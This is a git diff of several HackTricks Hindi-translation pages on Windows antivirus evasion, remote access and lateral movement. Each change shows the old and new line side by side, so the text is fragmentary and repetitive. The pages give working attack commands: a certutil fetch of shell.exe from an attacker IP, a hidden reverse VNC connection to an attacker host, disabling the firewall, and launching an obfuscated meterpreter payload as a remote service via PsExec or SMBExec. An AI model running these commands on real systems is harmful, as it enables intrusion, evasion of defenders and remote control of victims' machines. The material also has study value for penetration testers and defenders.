जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जब आप समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच**ेते हैं
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जब समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच**ी जाती है
इंटरप्रेटर बाइनरीज़ और SMB शेयर पर वातावरण तक पहुंच प्रदान करके आप **समझौता की गई मशीन की मेमोरी में इन भाषाओं में मनमाना कोड निष्पादित कर सकते हैं।**
इंटरप्रेटर बाइनरीज़ और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **समझौता की गई मशीन की मेमोरी में इन भाषाओं में मनमाना कोड निष्पादित कर सकते हैं।**
रेपो इंगित करता है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है।** इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
## उन्नत बचाव
बचाव एक बहुत जटिल विषय है, कभी-कभी आपको एक ही प्रणाली में कई विभिन्न टेलीमेट्री स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अदृश्य रहना लगभग असंभव है।
बचाव एक बहुत जटिल विषय है, कभी-कभी आपको केवल एक प्रणाली में कई विभिन्न टेलीमेट्री स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अदृश्य रहना लगभग असंभव है।
आप जिस भी वातावरण का सामना कर हैं, उसके अपने ताकत और कमजोरियाँ होंगी।
आप जिस भी वातावरण का सामना करेंगे, उसके अपने ताकत और कमजोरियाँ होंगी।
मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत बचाव तकनीकों में एक पैर रख सकें
मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत बचाव तकनीकों में एक पैर जमाएँ
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
@ -342,10 +348,10 @@ C# बाइनरीज़ को मेमोरी में लोड कर
## **पुरानी तकनीकें**
### **जांचें कि डिफेंडर कौन से भागों को दुर्भावनापूर्ण मानता है**
### **जांचें कि डिफेंडर किन भागों को दुर्भावनापूर्ण मानता है**
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित करता है।\
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें एक ओपन वेब सेवा है जो [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) में सेवा प्रदान करती है।
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर सेवा प्रदान की जाती है।
### **Telnet सर्वर**
@ -353,7 +359,7 @@ Windows10 तक, सभी Windows में एक **Telnet सर्वर**
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
इसे **शुरू** करें जब सिस्टम शुरू हो और इसे **अब** चलाएँ:
इसे **शुरू** करें जब सिस्टम शुरू हो और **अब** इसे चलाएँ:
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -366,23 +372,23 @@ netsh advfirewall set allprofiles state off
इसे डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको बिन डाउनलोड चाहिए, सेटअप नहीं)
**होस्ट पर**: _**winvnc.exe**_ को चलाएं और सर्वर को कॉन्फ़िगर करें:
**होस्ट पर**: _**winvnc.exe**_ चलाएँ और सर्वर को कॉन्फ़िगर करें:
* विकल्प _Disable TrayIcon_ को सक्षम करें
* विकल्प _Disable TrayIcon_ सक्षम करें
* _VNC Password_ में एक पासवर्ड सेट करें
* _View-Only Password_ में एक पासवर्ड सेट करें
फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **पीड़ित** के अंदर ले जाएं
फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **शिकार** के अंदर ले जाएँ
#### **रिवर्स कनेक्शन**
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **पीड़ित** के अंदर: winvnc डेमन शुरू करें `winvnc.exe -run` और चलाएं `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमॉन शुरू करें `winvnc.exe -run` और चलाएँ `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**चेतावनी:** छिपे रहने के लिए आपको कुछ चीजें नहीं करनी चाहिए
* यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` के साथ
* यदि `UltraVNC.ini` उसी निर्देशिका में नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोलेगा
* मदद के लिए `winvnc -h` न चलाए या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे
* यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` के साथ
* यदि उसी निर्देशिका में `UltraVNC.ini` नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोलेगा
* मदद के लिए `winvnc -h` न चलाए या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) ट्रिगर करेंगे
### GreatSCT
@ -497,7 +503,7 @@ catch (Exception err) { }
}
}
```
### C# उपयोग करके संकलक
### C# का उपयोग करते हुए कंपाइलर
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -563,17 +569,23 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,9 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## सिस्टम जानकारी
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
### संस्करण और पैच जानकारी
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव हो।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## System info
### Version and Patches info
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
@ -124,9 +132,9 @@ dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## उपयोगकर्ता और समूह
## Users & Groups
### उपयोगकर्ता
### Users
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
@ -280,7 +288,7 @@ Certutil.exe
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
**`Download` के लिए अधिक खोजें** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
**`Download` के लिए अधिक खोजने के लिए खोजें** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
## विविध
```bash
@ -409,16 +417,25 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हम** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का अनुसरण करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,9 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## यह कैसे काम करता है
प्रक्रिया नीचे दिए गए चरणों में स्पष्ट की गई है, जो दिखाती है कि सेवा बाइनरी को लक्षित मशीन पर SMB के माध्यम से दूरस्थ निष्पादन प्राप्त करने के लिए कैसे हेरफेर किया जाता है:
प्रक्रिया नीचे दिए गए चरणों में वर्णित है, जो दिखाती है कि सेवा बाइनरी को SMB के माध्यम से लक्षित मशीन पर दूरस्थ निष्पादन प्राप्त करने के लिए कैसे हेरफेर किया जाता है:
1. **ADMIN$ शेयर पर SMB के माध्यम से एक सेवा बाइनरी की कॉपी** की जाती है।
2. **दूरस्थ मशीन पर एक सेवा का निर्माण** बाइनरी की ओर इशारा करके किया जाता है।
@ -26,13 +30,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### **PsExec को मैन्युअल रूप से निष्पादित करने की प्रक्रिया**
मान लेते हैं कि एक निष्पादन योग्य पेलोड (जो msfvenom के साथ बनाया गया है और एंटीवायरस पहचान से बचने के लिए Veil का उपयोग करके छिपाया गया है), जिसका नाम 'met8888.exe' है, जो एक मीटरpreter रिवर्स_http पेलोड का प्रतिनिधित्व करता है, निम्नलिखित चरण उठाए जाते हैं:
मान लेते हैं कि एक निष्पादन योग्य पेलोड (जो msfvenom के साथ बनाया गया है और एंटीवायरस पहचान से बचने के लिए Veil का उपयोग करके छिपाया गया है), जिसका नाम 'met8888.exe' है, जो एक मीटरप्रीटर रिवर्स_http पेलोड का प्रतिनिधित्व करता है, निम्नलिखित चरण उठाए जाते हैं:
* **बाइनरी की कॉपी करना**: निष्पादन योग्य को एक कमांड प्रॉम्प्ट से ADMIN$ शेयर पर कॉपी किया जाता है, हालांकि इसे फ़ाइल सिस्टम पर कहीं भी रखा जा सकता है ताकि यह छिपा रहे।
* **एक सेवा बनाना**: Windows `sc` कमांड का उपयोग करते हुए, जो दूरस्थ रूप से Windows सेवाओं को क्वेरी, बनाने और हटाने की अनुमति देता है, "meterpreter" नामक एक सेवा बनाई जाती है जो अपलोड की गई बाइनरी की ओर इशारा करती है।
* **सेवा शुरू करना**: अंतिम चरण में सेवा को शुरू करना शामिल है, जो संभवतः "टाइम-आउट" त्रुटि का परिणाम देगा क्योंकि बाइनरी एक वास्तविक सेवा बाइनरी नहीं है और अपेक्षित प्रतिक्रिया कोड लौटाने में विफल रहती है। यह त्रुटि महत्वहीन है क्योंकि प्राथमिक लक्ष्य बाइनरी का निष्पादन है।
Metasploit श्रोता का अवलोकन करने से पता चलेगा कि सत्र सफलतापूर्वक शुरू किया गया है।
Metasploit श्रोता का अवलोकन करने पर पता चलेगा कि सत्र सफलतापूर्वक आरंभ किया गया है।
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
@ -50,16 +54,20 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
सीखें और प्रैक्टिस करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,6 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जो वास्तविक व्यापार पर प्रभाव डालती हैं।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## How it Works
**Smbexec** एक उपकरण है जिसका उपयोग Windows सिस्टम पर दूरस्थ कमांड निष्पादन के लिए किया जाता है, जो **Psexec** के समान है, लेकिन यह लक्षित प्रणाली पर कोई दुर्भावनापूर्ण फ़ाइलें नहीं रखता है।
@ -22,8 +30,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Key Points about **SMBExec**
- यह लक्षित मशीन पर एक अस्थायी सेवा (उदाहरण के लिए, "BTOBTO") बनाकर cmd.exe (%COMSPEC%) के माध्यम से कमांड निष्पादित करता है, बिना किसी बाइनरी को गिराए।
- इसके छिपे हुए दृष्टिकोण के बावजूद, यह प्रत्येक निष्पादित कमांड के लिए इवेंट लॉग उत्पन्न करता है, जो एक गैर-इंटरैक्टिव "शेल" का एक रूप प्रदान करता है।
- **Smbexec** का उपयोग करके कनेक्ट करने के लिए कमांड इस प्रकार दिखता है:
- इसके छिपे हुए दृष्टिकोण के बावजूद, यह प्रत्येक निष्पादित कमांड के लिए इवेंट लॉग उत्पन्न करता है, जो एक प्रकार के गैर-इंटरैक्टिव "शेल" की पेशकश करता है।
- **Smbexec** का उपयोग करके कनेक्ट करने के लिए कमांड इस तरह दिखता है:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
@ -42,20 +50,29 @@ sc start [ServiceName]
```
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर के दृष्टिकोण को प्राप्त करें
**वास्तविक व्यावसायिक प्रभाव के साथ महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,7 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## यह कैसे काम करता है
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## How do they work
प्रक्रिया नीचे दिए गए चरणों में वर्णित है, जो दिखाती है कि सेवा बाइनरी को लक्षित मशीन पर SMB के माध्यम से दूरस्थ निष्पादन प्राप्त करने के लिए कैसे हेरफेर किया जाता है:
@ -24,27 +31,28 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
3. सेवा **दूरस्थ रूप से शुरू की जाती है**
4. बाहर निकलने पर, सेवा **रोक दी जाती है, और बाइनरी को हटा दिया जाता है**
### **PsExec को मैन्युअल रूप से निष्पादित करने की प्रक्रिया**
### **Process of Manually Executing PsExec**
मान लेते हैं कि एक निष्पादन योग्य पेलोड (जो msfvenom के साथ बनाया गया है और एंटीवायरस पहचान से बचने के लिए Veil का उपयोग करके छिपाया गया है), जिसका नाम 'met8888.exe' है, जो एक मीटरpreter रिवर्स_http पेलोड का प्रतिनिधित्व करता है, निम्नलिखित चरण उठाए जाते हैं:
मान लीजिए कि एक निष्पादन योग्य पेलोड है (जो msfvenom के साथ बनाया गया है और एंटीवायरस पहचान से बचने के लिए Veil का उपयोग करके छिपाया गया है), जिसका नाम 'met8888.exe' है, जो एक मीटरpreter reverse_http पेलोड का प्रतिनिधित्व करता है, निम्नलिखित चरण उठाए जाते हैं:
- **बाइनरी की कॉपी करना**: निष्पादन योग्य को एक कमांड प्रॉम्प्ट से ADMIN$ शेयर पर कॉपी किया जाता है, हालांकि इसे फ़ाइल सिस्टम पर कहीं भी रखा जा सकता है ताकि यह छिपा रहे।
- **एक सेवा बनाना**: Windows `sc` कमांड का उपयोग करते हुए, जो दूरस्थ रूप से Windows सेवाओं को क्वेरी, बनाने और हटाने की अनुमति देता है, "meterpreter" नामक एक सेवा बनाई जाती है जो अपलोड की गई बाइनरी की ओर इशारा करती है।
- **सेवा शुरू करना**: अंतिम चरण में सेवा को शुरू करना शामिल है, जो संभवतः "टाइम-आउट" त्रुटि का परिणाम देगा क्योंकि बाइनरी एक वास्तविक सेवा बाइनरी नहीं है और अपेक्षित प्रतिक्रिया कोड लौटाने में विफल रहती है। यह त्रुटि महत्वहीन है क्योंकि प्राथमिक लक्ष्य बाइनरी का निष्पादन है।
- **सेवा शुरू करना**: अंतिम चरण में सेवा शुरू करना शामिल है, जो संभवतः "टाइम-आउट" त्रुटि का परिणाम देगा क्योंकि बाइनरी एक वास्तविक सेवा बाइनरी नहीं है और अपेक्षित प्रतिक्रिया कोड लौटाने में विफल रहती है। यह त्रुटि महत्वहीन है क्योंकि प्राथमिक लक्ष्य बाइनरी का निष्पादन है।
Metasploit श्रोता का अवलोकन करने से पता चलेगा कि सत्र सफलतापूर्वक प्रारंभ किया गया है।
Metasploit श्रोता का अवलोकन करने पर पता चलेगा कि सत्र सफलतापूर्वक शुरू किया गया है।
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
अधिक विस्तृत चरणों के लिए देखें: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**आप Windows Sysinternals बाइनरी PsExec.exe का भी उपयोग कर सकते हैं:**
Find moe detailed steps in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**You could also use the Windows Sysinternals binary PsExec.exe:**
![](<../../.gitbook/assets/image (165).png>)
